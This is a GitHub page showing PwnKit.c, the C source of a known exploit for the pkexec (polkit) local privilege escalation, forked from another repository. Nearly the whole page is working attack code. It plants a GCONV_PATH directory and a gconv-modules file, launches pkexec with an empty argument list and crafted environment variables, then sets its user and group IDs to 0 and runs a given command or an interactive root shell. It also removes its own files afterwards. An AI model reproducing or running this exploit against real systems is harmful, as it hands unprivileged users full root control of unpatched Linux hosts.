forked from ly4k/PwnKit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPwnKit.c
142 lines (113 loc) · 2.96 KB
/
PwnKit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <ftw.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/signal.h>
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
{
int rv = remove(fpath);
if (rv)
perror(fpath);
return rv;
}
int rmrf(char *path)
{
return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
}
void entry()
{
int res;
FILE *fp;
char buf[PATH_MAX];
int pipefd[2];
char *cmd;
int argc;
char **argv;
register unsigned long *rbp asm ("rbp");
argc = *(int *)(rbp+1);
argv = (char **)rbp+2;
res = mkdir("GCONV_PATH=.", 0777);
if (res == -1 && errno != EEXIST)
{
perror("Failed to create directory");
_exit(1);
}
res = creat("GCONV_PATH=./.pkexec", 0777);
res = mkdir(".pkexec", 0777);
fp = fopen(".pkexec/gconv-modules", "w+");
if (fp == NULL)
{
perror("Failed to open output file");
_exit(1);
}
if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
{
perror("Failed to write config");
_exit(1);
}
fclose(fp);
buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
res = symlink(buf, ".pkexec/pkexec.so");
if (res == -1)
{
perror("Failed to copy file");
_exit(1);
}
pipe(pipefd);
if (fork() == 0)
{
close(pipefd[1]);
buf[read(pipefd[0], buf, sizeof(buf)-1)] = 0;
if (strstr(buf, "pkexec --version") == buf) {
// Cleanup for situations where the exploit didn't work
puts("Exploit failed. Target is most likely patched.");
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
}
_exit(0);
}
close(pipefd[0]);
dup2(pipefd[1], 2);
close(pipefd[1]);
cmd = NULL;
if (argc > 1) {
cmd = memcpy(argv[1]-4, "CMD=", 4);
}
char *args[] = {NULL};
char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
execve("/usr/bin/pkexec", args, env);
// In case pkexec is not in /usr/bin/
execvpe("pkexec", args, env);
_exit(0);
}
void gconv() {}
void gconv_init()
{
close(2);
dup2(1, 2);
char *cmd = getenv("CMD");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
if (cmd) {
execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
} else {
// Try interactive bash first
execve("/bin/bash", (char *[]){"-i", NULL}, NULL);
// In case interactive bash was not possible
execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
}
_exit(0);
}